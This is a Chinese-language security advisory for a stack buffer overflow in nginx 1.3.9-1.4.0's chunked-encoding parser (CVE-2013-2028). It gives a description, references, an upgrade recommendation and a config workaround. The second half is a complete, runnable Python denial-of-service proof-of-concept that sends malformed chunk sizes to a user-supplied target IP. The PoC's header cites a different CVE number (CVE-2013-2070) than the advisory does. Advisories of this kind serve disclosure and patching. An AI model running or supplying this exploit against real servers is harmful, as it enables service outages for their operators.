nginx 'ngx_http_parse.c'栈缓冲区溢出漏洞

漏洞版本:

Nginx 1.3.9 - 1.4.0

漏洞描述:

BUGTRAQ  ID: 59699
CVE(CAN) ID: CVE-2013-2028

nginx是HTTP及反向代理服务器，同时也用作邮件代理服务器。

nginx 1.3.9 - 1.4.0在解析HTTP块时，"ngx_http_parse_chunked()"函数 (http/ngx_http_parse.c)中存在错误，可被利用造成栈缓冲区溢出。

<* 参考

http://secunia.com/advisories/53248/
http://www.openwall.com/lists/oss-security/2013/05/07/3
http://nginx.org/en/security_advisories.html

*>

安全建议:

临时解决方法：

建议您升级到nginx 1.4.1或者是1.5.0。但如果您不能立刻安装补丁或者升级，您可以采取以下措施以降低威胁：

* 在每个server{}块中使用如下配置

if ($http_transfer_encoding ~* chunked) {
       return 444;
   }

厂商补丁：

Nginx
-----
Nginx已经为此发布了一个安全公告（security_advisories）以及相应补丁:
security_advisories：nginx security advisories
链接：http://nginx.org/en/security_advisories.html

补丁下载：http://nginx.org/download/patch.2013.chunked.txt




POC:

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070)
# Google Dork: CVE-2013-2070
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2070
 
import httplib
import time
import socket
import sys
import os
 
# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)
 
packet = 0
 
def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked
 
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                 
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]"
print "======================================================================"
 
if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
         
while packet <= 5:
 
    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()
 
    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]
 
    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
         
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"
 
    packet = packet + 1
     
    con.close()
 
print "[+] Done!"